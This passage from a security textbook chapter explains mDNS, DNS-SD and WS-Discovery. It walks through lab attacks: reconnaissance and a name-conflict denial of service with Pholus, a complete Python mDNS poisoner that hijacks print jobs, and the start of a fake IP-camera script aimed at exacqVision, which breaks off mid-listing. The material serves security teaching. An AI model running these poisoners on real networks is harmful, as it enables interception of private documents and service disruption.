The part of the PTR record to the left of the colon is its name, and the 
part on the right is the SRV record to which the PTR record points. The 
SRV record lists the target host and port where the service instance can 
be reached. For example, Figure 6-4 shows a "test._ipps._tcp.local" SRV 
record in Wireshark. 

Figure 6-4: An example SRV record for the service "test._ipps._tcp.local". The Target 
and Port fields contain the hostname and listening port for the service.

SRV names have the format "<Instance>.<Service>.<Domain>". The label 
<Instance> includes a user-friendly name for the service (test in this case). 
The <Service> label identifies what the service does and what application 
protocol it uses to do it. It’s composed of a set of DNS labels: an underscore 
character, followed by the service name (for example _ipps, _ipp, _http), fol-
lowed by the transport protocol (_tcp, _udp, _sctp, and so on). The <Domain> 
portion specifies the DNS subdomain where these names are registered. For 
mDNS, it’s .local, but it can be anything when you’re using unicast DNS. The 
SRV record also contains Target and Port sections containing the hostname 
and port where the service can be found (Figure 6-4). 

The TXT record, which has the same name as the SRV record, provides 
additional information about this instance in a structured form, using key/
value pairs. The TXT record contains the information needed when the IP 
address and port number (contained in the SRV record) for a service aren’t 
sufficient to identify it. For example, in the case of the old Unix LPR proto-
col, the TXT record specifies the queue name. 

Conducting Reconnaissance with mDNS and DNS-SD
You can learn a lot about the local network by simply sending mDNS 
requests and capturing multicast mDNS traffic. For example, you could 
discover available services, query specific instances of a service, enumer-
ate domains, and identify a host. For host identification specifically, the 
_workstation special service must be enabled on the system you’re trying to 
identify. 

We’ll perform reconnaissance using a tool called Pholus by Antonios 
Atlasis. Download it from https://github.com/aatlasis/Pholus/. Note that Pholus 

https://github.com/aatlasis/Pholus/
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is written in Python 2, which is no longer officially supported. You might 
have to manually download Python2 pip, like we did with the Umap instal-
lation in “Getting and Using Umap” on page 128. Then you’ll need to 
install Scapy using the Python2 version of pip:

# pip install scapy

Pholus will send mDNS requests (-rq) on the local network and capture 
multicast mDNS traffic (for -stimeout 10 seconds) to identify a lot of interest-
ing information:

root@kali:~/zeroconf/mdns/Pholus# ./pholus.py eth0 -rq -stimeout 10
source MAC address: 00:0c:29:32:7c:14 source IPv4 Address: 192.168.10.10 source IPv6 address: 
fdd6:f51d:5ca8:0:20c:29ff:fe32:7c14
Sniffer filter is: not ether src 00:0c:29:32:7c:14 and udp and port 5353
I will sniff for 10 seconds, unless interrupted by Ctrl-C
------------------------------------------------------------------------
Sending mdns requests
30:9c:23:b6:40:15 192.168.10.20 QUERY Answer: _services._dns-sd._udp.local. PTR Class:IN "_
nvstream_dbd._tcp.local."
9c:8e:cd:10:29:87 192.168.10.245 QUERY Answer: _services._dns-sd._udp.local. PTR Class:IN "_
http._tcp.local."
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Question: 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4
.d.6.0.e.4.8.7.3.d.f.ip6.arpa. * (ANY) QM Class:IN
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Question: OpenWrt-1757.local. * (ANY) QM Class:IN
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: OpenWrt-1757.local. HINFO Class:IN 
"X86_64LINUX"
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: OpenWrt-1757.local. AAAA Class:IN 
"fd37:84e0:6d4f::1"
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4.
d.6.0.e.4.8.7.3.d.f.ip6.arpa. PTR Class:IN "OpenWrt-1757.local."

Figure 6-5 shows the Wireshark dump from the Pholus query. Notice 
that the replies are sent back to the multicast address on UDP port 5353. 
Because anyone can receive the multicast messages, an attacker can easily 
send the mDNS query from a spoofed IP address and still hear the replies 
on the local network. 

Learning more about what services are exposed on the network is one 
of the first steps in any security test. Using this approach, you can find the 
services with potential vulnerabilities and then exploit them.

Abusing the mDNS Probing Phase
In this section, we’ll exploit the mDNS Probing phase. In this phase, which 
occurs whenever an mDNS responder starts up or changes its connectivity, 
the responder asks the local network if there are any resource records with 
the same name as the one it’s planning to announce. To do this, it sends a 
query of type "ANY" (255), as shown in Figure 6-6.
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Figure 6-5: Pholus sending mDNS requests and receiving replies on the multicast address

If the answer contains the record in question, the probing host should 
choose a new name. If 15 conflicts take place within 10 seconds, the 
host must then wait at least five seconds before any additional attempt. 
Additionally, if one minute passes during which the host can’t find an 
unused name, it reports an error to the user.

Figure 6-6: An example of an mDNS "ANY" query for "test._ipps._tcp.local"

The Probing phase lends itself to the following attack: an adversary 
can monitor mDNS traffic for a probing host and then continuously send 
responses containing the record in question, constantly forcing the host to 
change its name until the host quits. This forces a configuration change 
(for example, that the probing host has to select a new name for the service 
it provides) and, potentially, a denial of service attack, if the host is unable 
to access the resource it’s looking for. 

For a quick demonstration of this attack, use Pholus with the argu-
ment -afre:

# python pholus.py eth0 -afre -stimeout 1000
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Replace the eth0 argument with your preferred network interface. The 
-afre argument makes Pholus send fake mDNS replies for -stimeout seconds. 

This output shows Pholus blocking a new Ubuntu host on the network: 

00:0c:29:f4:74:2a 192.168.10.219 QUERY Question: ubuntu-133.local. * (ANY) QM Class:IN
00:0c:29:f4:74:2a 192.168.10.219 QUERY Auth_NS: ubuntu-133.local. AAAA Class:IN "fdd6:f51d:5ca8
:0:c81e:79a4:8584:8a56"
00:0c:29:f4:74:2a 192.168.10.219 QUERY Auth_NS: 6.5.a.8.4.8.5.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5
.d.1.5.f.6.d.d.f.ip6.arpa. PTR Class:IN "ubuntu-133.local."
Query Name =  6.5.a.8.4.8.5.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa  Type= 
255
00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Question: 6.5.a.8.4.8.5.8.4.a.9.7.
e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa. * (ANY) QM Class:IN
Query Name =  ubuntu-134.local  Type= 255
00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Question: ubuntu-134.local. * 
(ANY) QM Class:IN
00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Auth_NS: ubuntu-134.local. AAAA 
Class:IN "fdd6:f51d:5ca8:0:c81e:79a4:8584:8a56"

When the Ubuntu host booted up, its mDNS responder tried to query 
for the local name ubuntu.local. Because Pholus continuously sent fake replies 
indicating that the attacker owned that name, the Ubuntu host kept iterating 
over new potential names, like ubuntu-2.local, ubuntu-3.local, and so on with-
out ever being able to register. Notice that the host reached up to the naming 
ubuntu-133.local without success.

mDNS and DNS-SD Man-in-the-Middle Attacks 
Now let’s try a more advanced attack with a bigger impact: mDNS poisoning 
attackers on the local network place themselves in a privileged, man-in-the-
middle position between a client and some service by exploiting the lack of 
authentication in mDNS. This allows them to capture and modify poten-
tially sensitive data transmitted over the network or simply deny service. 

In this section, we’ll build an mDNS poisoner in Python that pretends 
to be a network printer to capture documents intended for the real printer. 
Then we’ll test the attack in a virtual environment. 

Setting Up the Victim Server

We’ll start by setting up the victim machine to run an emulated printer 
using ippserver. Ippserver is a simple Internet Printing Protocol (IPP) server 
that can act as a very basic print server. We used Ubuntu 18.04.2 LTS (IP 
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address: 192.168.10.219) in VMware, but the exact specifics of the operat-
ing system shouldn’t matter as long as you can run a current version of 
ippserver. 

After installing the operating system, run the print server by entering 
the following command in a terminal:

$ ippserver test -v

This command invokes the ippserver with the default configuration 
settings. It should listen on TCP port 8000, announce a service named test, 
and enable verbose output. If you have Wireshark open when you start the 
server, you should notice that the server performs the probing phase by 
sending an mDNS query on the local multicast address 224.0.0.251, asking 
if anyone already has any print services with the name test (Figure 6-7). 

Figure 6-7: Ippserver sends an mDNS query asking if the resource records related to the 
printer service named test are already in use.

This query also contains some proposed records in the Authority Section 
(you can see these under Authoritative nameservers in Figure 6-7). Because 
this isn’t an mDNS reply, those records don’t count as official responses; 
instead, they’re used for tiebreaking simultaneous probes, a situation that 
doesn’t concern us now.

The server will then wait a couple of seconds, and if no one else on the 
network replies, it will move on to the Announcing phase. In this phase, 
ippserver sends an unsolicited mDNS response containing, in the Answer 
Section, all of its newly registered resource records (Figure 6-8). 
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Figure 6-8: During the Announcing phase, ippserver sends an unsolicited mDNS response containing the 
newly registered records.

This response includes a set of PTR, SRV, and TXT records for each 
service, as explained in “How DNS-SD Works” on page 132. It also 
includes A records (for IPv4) and AAAA records (for IPv6), which are used 
to resolve the domain name with IP addresses. The A record for ubuntu.
local in this case will contain the IP address 192.168.10.219.

Setting Up the Victim Client

For the victim requesting the printing service, you can use any device 
running an operating system that supports mDNS and DNS-SD. In this 
example, we’ll use a MacBook Pro running macOS High Sierra. Apple’s 
zero-configuration networking implementation is called Bonjour, and it’s 
based on mDNS. Bonjour should be enabled by default in macOS. If it isn’t, 
you can enable it by entering the following command in the Terminal: 

$ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist

Figure 6-9 shows how mDNSResponder (Bonjour’s main engine) auto-
matically finds the legitimate Ubuntu print server when we click System 
Preferences  Printers & Scanners and click the + button to add a new 
printer. 

To make the attack scenario more realistic, we assume that the 
MacBook already has a preconfigured network printer named test. One of 
the most important aspects of automatic service discovery is that it doesn’t 
matter if our system has already discovered the service in the past! This 
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increases flexibility (although it sacrifices security). A client needs to be able 
to communicate with the service, even if the hostname and IP address have 
changed; so whenever the macOS client needs to print a document, it will 
send a new mDNS query asking where the test service is, even if that service 
has the same hostname and IP address as it did the last time. 

Figure 6-9: The legitimate printer automatically discovered by macOS’s built-in Bonjour 
service

How Typical Client and Server Interactions Work

Now let’s look at how the macOS client requests the printer service when 
things are working correctly. As shown in Figure 6-10, the client’s mDNS 
query about the test service will ask about the SRV and TXT records belong-
ing to test._ipps._tcp.local. It also asks for similar alternative services, such 
as test._printer._tcp.local and test._ipp._tcp.local.

Figure 6-10: The mDNS query the client will initially send to discover local network print-
ers asks again about the test ipps service, even though it might have used it in the past.

The Ubuntu system will then reply as it did in the Announcing phase. 
It will send responses that contain PTR, SRV, and TXT records for all the 
requested services that it’s supposed to have authority over (for example, 
test._ipps._tcp.local) and A records (as well as AAAA records, if the host 
has IPv6 enabled). The TXT record (Figure 6-11) is particularly important 
in this case, because it contains the exact URL (adminurl) for the printer jobs 
to be posted.
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Figure 6-11: Part of the TXT record, which is included in the ippserver’s mDNS response 
Answer section. The adminurl has the exact location of the print queue.

Once the macOS client has this information, it now knows everything it 
needs to send its print job to the Ubuntu ippserver:

•	 From the PTR record, it knows that there is an _ipps._tcp.local with a 
service named test.

•	 From the SRV record, it knows that this test._ipps._tcp.local service is 
hosted on ubuntu.local on TCP port 8000.

•	 From the A record, it knows that ubuntu.local resolves to 192.168.10.219.

•	 From the TXT record, it knows that the URL to post the print jobs is 
https://ubuntu.8000/ipp/print.

The macOS client will then initiate an HTTPS session with ippserver 
on port 8000 and transmit the document to be printed:

[Client 1] Accepted connection from "192.168.10.199".
[Client 1] Starting HTTPS session.
[Client 1E] Connection now encrypted.
[Client 1E] POST /ipp/print
[Client 1E] Continue
[Client 1E] Get-Printer-Attributes successful-ok
[Client 1E] OK
[Client 1E] POST /ipp/print
[Client 1E] Continue
[Client 1E] Validate-Job successful-ok
[Client 1E] OK
[Client 1E] POST /ipp/print
[Client 1E] Continue
[Client 1E] Create-Job successful-ok
[Client 1E] OK

You should see output like this from the ippserver.



Exploiting Zero-Configuration Networking   141

Creating the mDNS Poisoner

The mDNS poisoner we’ll write using Python listens for multicast mDNS 
traffic on UDP port 5353 until it finds a client trying to connect to the 
printer, and then sends it replies. Figure 6-12 illustrates the steps involved. 

1. Listening

3. Poisons cache

4. Sends legitimate response

2. mDNS query
(broadcast)

5. MiTM success

Figure 6-12: mDNS poisoning attack steps

First, the attacker listens for multicast mDNS traffic on UDP port 5353. 
When the macOS client rediscovers the test network printer and sends 
an mDNS query, the attacker continuously sends replies to the poison cli-
ent’s cache. If the attacker wins the race against the legitimate printer, the 
attacker becomes a man in the middle, fielding traffic from the client. The 
client sends a document to the attacker, which the attacker can then for-
ward to the printer to avoid detection. If the attacker doesn’t forward the 
document to the printer, the user might get suspicious when it isn’t printed.

We’ll start by creating a skeleton file (Listing 6-2) and then implement-
ing simple network server functionality for listening on the multicast mDNS 
address. Note that the script is written in Python 3.

  #!/usr/bin/env python
  import time, os, sys, struct, socket
  from socketserver import UDPServer, ThreadingMixIn
  from socketserver import BaseRequestHandler
  from threading import Thread
  from dnslib import *

  MADDR = ('224.0.0.251', 5353)
class UDP_server(ThreadingMixIn, UDPServer): 1
    allow_reuse_address = True
    def server_bind(self):
      self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
      mreq = struct.pack("=4sl", socket.inet_aton(MADDR[0]), socket.INADDR_ANY)
      self.socket.setsockopt(socket.IPPROTO_IP, 2socket.IP_ADD_MEMBERSHIP, mreq)
      UDPServer.server_bind(self)

  def MDNS_poisoner(host, port, handler): 3
    try:
      server = UDP_server((host, port), handler)
      server.serve_forever()



142   Chapter 6

    except:
      print("Error starting server on UDP port " + str(port))

class MDNS(BaseRequestHandler):
    def handle(self):
      target_service = ''
      data, soc = self.request
      soc.sendto(d.pack(), MADDR)
      print('Poisoned answer sent to %s for name %s' % (self.client_address[0], target_
service))

def main(): 4
    try:
      server_thread = Thread(target=MDNS_poisoner,  args=('', 5353, MDNS,))
      server_thread.setDaemon(True)
      server_thread.start()

      print("Listening for mDNS multicast traffic")
      while True:
        time.sleep(0.1)

    except KeyboardInterrupt:
      sys.exit("\rExiting...")

  if __name__ == '__main__':
    main()

Listing 6-2: The skeleton file for the mDNS poisoner

We start with the imports for the Python modules we’ll need. The  
socketserver framework simplifies the task of writing network servers. For 
parsing and crafting mDNS packets, we import dnslib, a simple library to 
encode and decode DNS wire-format packets. We then define a global vari-
able MADDR that holds the mDNS multicast address and default port (5353). 

We create the UDP_server 1 using the ThreadingMixIn class, which 
implements parallelism using threads. The server’s constructor will call 
the server_bind function to bind the socket to the desired address. We 
enable allow_reuse_address so we can reuse the bound IP address and the 
SO_REUSEADDR socket option, which allows the socket to forcibly bind to the 
same port when we restart the program. We then have to join the multi-
cast group (224.0.0.251) with IP_ADD_MEMBERSHIP 2.  

The MDNS_poisoner function 3 creates an instance of the UDP_server 
and calls serve_forever on it to handle requests until an explicit shutdown. 
The MDNS class handles all incoming requests, parsing them and sending 
back the replies. Because this class is the brainpower of the poisoner, we’ll 
explore the class in more detail later. You’ll have to replace this block of 
code (Listing 6-3) with the complete MDNS class in Listing 6-2.

The main function 4 creates the main thread for the mDNS server. 
This thread will automatically start new threads for each request, which the 
MDNS.handle function will handle. With setDaemon(True), the server will exit 
when the main thread terminates, and you can terminate the main thread 
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by pressing CTRL-C, which will trigger the KeyboardInterrupt exception. 
The main program will finally enter an infinite loop, and the threads will 
handle all the rest.

Now that we’ve created the skeleton, let’s outline the methodology for 
creating the MDNS class, which implements the mDNS poisoner: 

1.	 Capture network traffic to determine which packets you need to repro-
duce and save the pcap file for later.

2.	 Export the raw packet bytes from Wireshark. 

3.	 Search for libraries implementing existing functionality, such as dnslib 
for the DNS packet handling, so you don’t reinvent the wheel.

4.	 When you need to parse incoming packets, as is the case with the 
mDNS query, first use the previously exported packets from Wireshark 
to initially feed into the tool instead of getting new ones from the 
network. 

5.	 Start sending packets on the network, and then compare them with the 
first traffic dump.

6.	 Finalize and refine the tool by cleaning up and commenting code, as 
well as adding real-time configurability via command line arguments.

Let’s see what our most important class, MDNS, does (Listing 6-3). 
Replace the MDNS block in Listing 6-2 with this code.

class MDNS(BaseRequestHandler):
  def handle(self):
    target_service = ''
    data, soc = self.request 1
    d = DNSRecord.parse(data) 2

    # basic error checking - does the mDNS packet have at least 1 question?
    if d.header.q < 1:
      return

    # we are assuming that the first question contains the service name we want to spoof
    target_service = d.questions[0]._qname 3

    # now create the mDNS reply that will contain the service name and our IP address
    d = DNSRecord(DNSHeader(qr=1, id=0, bitmap=33792)) 4
    d.add_answer(RR(target_service, QTYPE.SRV, ttl=120, rclass=32769, rdata=SRV(priority=0, 
target='kali.local', weight=0, port=8000)))
    d.add_answer(RR('kali.local', QTYPE.A, ttl=120, rclass=32769, rdata=A("192.168.10.10"))) 5
    d.add_answer(RR('test._ipps._tcp.local', QTYPE.TXT, ttl=4500, rclass=32769, 
rdata=TXT(["rp=ipp/print", "ty=Test Printer", "adminurl=https://kali:8000/ipp/print", 
"pdl=application/pdf,image/jpeg,image/pwg-raster", "product=(Printer)", "Color=F", "Duplex=F", 
"usb_MFG=Test", "usb_MDL=Printer", "UUID=0544e1d1-bba0-3cdf-5ebf-1bd9f600e0fe", "TLS=1.2", 
"txtvers=1", "qtotal=1"]))) 6

    soc.sendto(d.pack(), MADDR) 7
    print('Poisoned answer sent to %s for name %s' % (self.client_address[0], target_service))

Listing 6-3: The final MDNS class for our poisoner
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We’re using Python’s socketserver framework to implement the server. 
The MDNS class has to subclass the framework’s BaseRequestHandler class and 
override its handle() method to process incoming requests. For UDP ser-
vices, self.request 1 returns a string and socket pair, which we save locally. 
The string contains the data incoming from the network, and the socket 
pair is the IP address and port belonging to the sender of that data. 

We then parse the incoming data using dnslib 2, converting them into 
a DNSRecord class that we can then use to extract the domain name 3 from 
the QNAME of the Question section. The Question section is the part of the 
mDNS packet that contains the Queries (for example, see Figure 6-7). Note 
that to install dnslib, you can do the following:

# git clone https://github.com/paulc/dnslib
# cd dnslib
# python setup.py install

Next, we must create our mDNS reply 4 containing the three DNS 
records we need (SRV, A, and TXT). In the Answers section, we add the 
SRV record that associates the target_service with our hostname (kali.
local) and port 8000. We add the A record 5 that resolves the hostname to 
the IP address. Then we add the TXT record 6 that, among other things, 
contains the URL for the fake printer to be contacted at https://kali:8000/
ipp/print.

Finally, we send the reply to the victim through our UDP socket 7. 
As an exercise, we leave it to you to configure the hardcoded values 

contained in the mDNS reply step. You could also make the poisoner more 
flexible so it poisons a specific target IP and service name only. 

Testing the mDNS Poisoner

Now let’s test the mDNS poisoner. Here is the attacker’s poisoner running: 

root@kali:~/mdns/poisoner# python3 poison.py
Listening for mDNS multicast traffic
Poisoned answer sent to 192.168.10.199 for name _universal._sub._ipp._tcp.local.
Poisoned answer sent to 192.168.10.219 for name test._ipps._tcp.local.
Poisoned answer sent to 192.168.10.199 for name _universal._sub._ipp._tcp.local.

We try to automatically grab the print job from the victim client, get-
ting it to connect to us instead of the real printer by sending seemingly 
legitimate mDNS traffic. Our mDNS poisoner replies to the victim client 
192.168.10.199, telling it that the attacker holds the _universal._sub._ipp._
tcp.local name. The mDNS poisoner also tells the legitimate printer server 
(192.168.10.219) that the attacker holds the test._ipps._tcp.local name. 

Remember that this is the name that the legitimate print server was 
advertising. Our poisoner, a simple proof of concept script at this stage, 
doesn’t distinguish between targets; rather, it indiscriminately poisons every 
request it sees. 
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Here is the ippserver that emulates a printer server:

root@kali:~/tmp# ls
root@kali:~/tmp# ippserver test -d . -k -v
Listening on port 8000.
Ignore Avahi state 2.
printer-more-info=https://kali:8000/
printer-supply-info-uri=https://kali:8000/supplies
printer-uri="ipp://kali:8000/ipp/print"
Accepted connection from 192.168.10.199
192.168.10.199 Starting HTTPS session.
192.168.10.199 Connection now encrypted.
…

With the mDNS poisoner running, the client (192.168.10.199) will 
connect to the attacker’s ippserver instead of the legitimate printer 
(192.168.10.219) to send the print job.

But this attack doesn’t automatically forward the print job or document 
to the real printer. Note that in this scenario, the Bonjour implementation 
of mDNS/DNS-SD seems to query the _universal name every time the user 
tries to print something from the MacBook, and it would need to be poi-
soned as well. The reason is that our MacBook was connected to our lab via 
Wi-Fi, and macOS was trying to use AirPrint, a macOS feature for printing 
via Wi-Fi. The _universal name is associated with AirPrint.

Exploiting WS-Discovery 
The Web Services Dynamic Discovery Protocol (WS-Discovery) is a multicast discov-
ery protocol that locates services on a local network. Have you ever wondered 
what could happen if you pretended to be an IP camera by imitating its net-
work behavior and attacking the server that manages it? Corporate networks, 
on which a large number of cameras reside, often rely on video management 
servers, software that lets system administrators and operators remotely con-
trol the devices and view their video feed through a centralized interface. 

Most modern IP cameras support ONVIF, an open industry standard 
developed to let physical, IP-based security products work with each other, 
including video surveillance cameras, recorders, and associated software. It’s 
an open protocol that surveillance software developers can use to interface 
with ONVIF-compliant devices regardless of the device’s manufacturer. One 
of its features is automatic device discovery, which it typically carries out using 
WS-Discovery. In this section, we’ll explain how WS-Discovery works, create a 
proof of concept Python script for exploiting inherent protocol vulnerabilities, 
create a fake IP camera on the local network, and discuss other attack vectors.

How WS-Discovery Works
Without getting into too many details, we’ll provide a brief overview of 
how WS-Discovery works. In WS-Discovery terminology, a Target Service is 
an endpoint that makes itself available for discovery, whereas a Client is an 
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endpoint that searches for Target Services. Both use SOAP queries over 
UDP to the 239.255.255.250 multicast address with the destination UDP 
port 3702. Figure 6-13 represents the message exchanges between the two.

� Hello/multicast

� Bye/multicast

� Probe Match (PM)/unicast Probe Match (PM)/unicast

� Resolve Match (RM)/unicast

� Probe/multicast

� Resolve/multicast

Target Service Client

Figure 6-13:  WS-Discovery message exchanges between a Target Service and a Client

A Target Service sends a multicast Hello 1 when it joins a network. 
The Target Service can receive a multicast Probe 2, a message sent by a 
Client searching for a Target Service by Type, at any time. The Type is 
an identifier for the endpoint. For example, an IP camera could have 
NetworkVideoTransmitter as a Type. It might also send a unicast Probe 
Match 3 if the Target Service matches a Probe (other matching Target 
Services might also send unicast Probe Matches). Similarly, a Target 
Service might receive a multicast Resolve 4 at any time, a message sent by a 
Client searching for a Target by name, and send a unicast Resolve Match 5 
if it’s the target of a Resolve. Finally, when a Target Service leaves a net-
work, it makes an effort to send a multicast Bye 6. 

A Client mirrors the Target Service messages. It listens to the multicast 
Hello, might Probe to find Target Services or Resolve to find a particular 
Target Service, and listens to the multicast Bye. We mostly want to focus on 
the second and third steps 2 3 for the attack we’ll perform in this section.

Faking Cameras on Your Network
We’ll first set up a test environment with IP camera management soft-
ware on a virtual machine, and then use a real network camera to 
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capture packets and analyze how it interacts with the software through 
WS-Discovery in practice. Then we’ll create a Python script that will imitate 
the camera with the goal of attacking the camera management software. 

Setting up

We’ll demonstrate this attack using an earlier version (version 7.8) of 
exacqVision, a well-known tool for IP camera management. You could also 
use a similar free tool, such as Camlytics, iSpy, or any kind of camera 
management software that uses WS-Discovery. We’ll host the software on 
a virtual machine with the IP address 192.168.10.240. The actual network 
camera we’ll be imitating has the IP address 192.168.10.245. You can find 
the version of exacqVision we’re using at https://www.exacq.com/reseller/
legacy/?file=Legacy/index.html/.

Install the exacqVision server and client on a Windows 7 system hosted 
on VMware, and then start the exacqVision client. It should connect locally 
to the corresponding server; the client acts as a user interface to the server, 
which should have started as a background service on the system. Then we 
can start discovering network cameras. On the Configuration page, click 
exacqVision Server  Configure System  Add IP Cameras, and then 
click the Rescan Network button (Figure 6-14).

Figure 6-14: exacqVision client interface for discovering new network cameras using 
WS-Discovery

Doing so will send a WS-Discovery Probe (message 2 in Figure 6-14) to 
the multicast address 239.255.255.250 over UDP port 3702. 

Analyzing WS-Discovery Requests and Replies in Wireshark

As an attacker, how can we impersonate a camera on the network? It’s fairly 
easy to understand how typical WS-discovery requests and replies work by 
experimenting with an off-the shelf camera, such as Amcrest, as shown in 
this section. In Wireshark, start by enabling the “XML over UDP” dissector 
by clicking Analyze in the menu bar. Then click Enabled Protocols. Search 
for “udp” and select the XML over UDP box (Figure 6-15).

https://www.exacq.com/reseller/legacy/?file=Legacy/index.html/
https://www.exacq.com/reseller/legacy/?file=Legacy/index.html/
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Figure 6-15: Selecting the XML over UDP dissector in Wireshark

Next, activate Wireshark on the virtual machine that runs the exacq
Vision server and capture the Probe Match reply (message 3 in 9) from the 
Amcrest camera to the WS-Discovery Probe. We can then right-click the 
packet and click Follow  UDP stream. We should see the entire SOAP/
XML request. We’ll need this request value in the next section as we 
develop our script; we’ll paste it into the orig_buf variable in Listing 6-4.

Figure 6-16 shows the output of the WS-Discovery Probe in Wireshark. 
The exacqVision client outputs this information whenever it scans the net-
work for new IP cameras. 

Figure 6-16: The WS-Discovery Probe from exacqVision, output by Wireshark
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The most important part of this probe is the MessageID UUID (high-
lighted), because this needs to be included in the Probe Match reply. (You 
can read more about this in the official WS-Discovery specification at 
/s:Envelope/s:Header/a:RelatesTo MUST be the value of the [message id] property 
[WS-Addressing] of the Probe.)

Figure 6-17 shows the Probe Match reply from the real Amcrest IP 
camera.

Figure 6-17: WS-Discovery Probe Match reply from an Amcrest IP camera on the network. Notice that the 
RelatesTo UUID is the same as the MessageID UUID that exacqVision sent.

The RelatesTo field contains the same UUID as the one in the MessageID 
of the XML payload that the exacqVision client sent. 

Emulating a Camera on the Network

Now we’ll write a Python script that emulates a real camera on the network 
with the intent of attacking the exacqVision software and taking the place 
of the real camera. We’ll use Amcrest’s Probe Match reply to exacqVision 
as the foundation for creating our attacking payload. We need to create a 
listener on the network that receives the WS-Discovery Probe from exacq
Vision, extracts the MessageID from it, and uses it to finalize our attacking 
payload as a WS Probe Match reply. 

The first part of our code imports necessary Python modules and 
defines the variable that holds the original WS-Discovery Probe Match reply 
from Amcrest, as shown in Listing 6-4.

#!/usr/bin/env python
import socket
import struct
import sys
import uuid
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buf = ""
orig_buf = '''<?xml version="1.0" encoding="utf-8" standalone="yes" ?><s:Envelope 1  
xmlns:sc="http://www.w3.org/2003/05/soap-encoding" xmlns:s="http://www.w3.org/2003/05/soap-
envelope" xmlns:dn="http://www.onvif.org/ver10/network/wsdl" xmlns:tds="http://www.onvif.org/
ver10/device/wsdl" xmlns:d="http://schemas.xmlsoap.org/ws/2005/04/discovery"
xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">\
<s:Header><a:MessageID>urn:uuid:_MESSAGEID_</a:MessageID><a:To>urn:schemas-xmlsoap-
org:ws:2005:04:discovery</a:To><a:Action>http://schemas.xmlsoap.org/ws/2005/04/discovery/
ProbeMatches\ 2
</a:Action><a:RelatesTo>urn:uuid:_PROBEUUID_</a:RelatesTo></s:Header><s:Body><d:ProbeMatch
es><d:ProbeMatch><a:EndpointReference><a:Address>uuid:1b77a2db-c51d-44b8-bf2d-418760240ab-
6</a:Address></a:EndpointReference><d:Types>dn:NetworkVideoTransmitter 3
tds:Device</d:Types><d:Scopes>onvif://www.onvif.org/location/country/china \ 
 onvif://www.onvif.org/name/Amcrest \ 4
 onvif://www.onvif.org/hardware/IP2M-841B \
 onvif://www.onvif.org/Profile/Streaming \
 onvif://www.onvif.org/type/Network_Video_Transmitter \
 onvif://www.onvif.org/extension/unique_identifier</d:Scopes>\
<d:XAddrs>http://192.168.10.10/onvif/device_service</d:XAddrs><d:MetadataVersion>1</
d:MetadataVersion></d:ProbeMatch></d:ProbeMatches></s:Body></s:Envelope>'''

Listing 6-4: Module imports and the definition of the original WS-Discovery Probe Match reply from the 
Amcrest camera

We start with the standard Python shebang line to make sure the 
script can run from the command line without specifying the full path 
of the Python interpreter, as well as the necessary module imports. Then 
we create the orig_buf variable 1, which holds the original WS-Discovery 
reply from Amcrest as a string. Recall from the previous section that we 
pasted the XML request into the variable after capturing the message in 
Wireshark. We create a placeholder _MESSAGEID_ 2. We’ll replace this with 
a new unique UUID that we’ll generate every time we receive a packet. 
Similarly, the _PROBEUUID_ 3 will contain the UUID as extracted from the 
WS-Discovery Probe at runtime. We have to extract it every time we receive 
a new WS-Discovery Probe from exacqVision. The name portion 4 of the 
XML payload is a good place to fuzz with malformed input, because we saw 
that the Amcrest name appears in the client’s listing of cameras and will thus 
have to first be parsed by the software internally. 

The next part of the code, in Listing 6-5, sets up the network sockets. 
Place it immediately after the code in Listing 6-3.

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.SOL_SOCKET, 1socket.SO_REUSEADDR, 1)
sock.bind(('239.255.255.250', 3702))
mreq = struct.pack("=4sl", socket.inet_aton(2"239.255.255.250"), socket.INADDR_ANY)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

Listing 6-5: Setting up the network sockets

We create a UDP socket and set the SO_REUSEADDR socket option 1 
that lets the socket bind to the same port whenever we restart the script. 
Then we bind to the multicast address 239.255.255.250 on port 3702, 
because these are the standard multicast address and default port used in 
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WS-Discovery. We also have to tell the kernel that we’re interested in receiv-
ing network traffic directed to 239.255.255.250 by joining that multicast 
group address 2. 

Listing 6-6 shows the final part of our code, which includes the main loop.

  while True:
    print("Waiting for WS-Discovery message...\n", file=sys.stderr)
    data, addr = sock.recvfrom(1024) 1
    if data:
      server_addr = addr[0] 2
      server_port = addr[1]
      print('Received from: %s:%s' % (server_addr, server_port), file=sys.stderr)
      print('%s' % (data), file=sys.stderr)
      print("\n", file=sys.stderr)

      # do not parse any further if this is not a WS-Discovery Probe
      if "Probe" not in data: 3
        continue

      # first find the MessageID tag
      m = data.find("MessageID") 4
      # from that point in the buffer, continue searching for "uuid" now
      u = data[m:-1].find("uuid")
      num = m + u + len("uuid:")
      # now get where the closing of the tag is
      end = data[num:-1].find("<")
      # extract the uuid number from MessageID
      orig_uuid = data[num:num + end]
      print('Extracted MessageID UUID %s' % (orig_uuid), file=sys.stderr)

      # replace the _PROBEUUID_ in buffer with the extracted one
      buf = orig_buf
      buf = buf.replace("_PROBEUUID_", orig_uuid) 5
      # create a new random UUID for every packet
      buf = buf.replace("_MESSAGEID_", str(uuid.uuid4())) 6

      print("Sending WS reply to %s:%s\n" % (server_addr, server_port), file=sys.stderr)

      udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 7
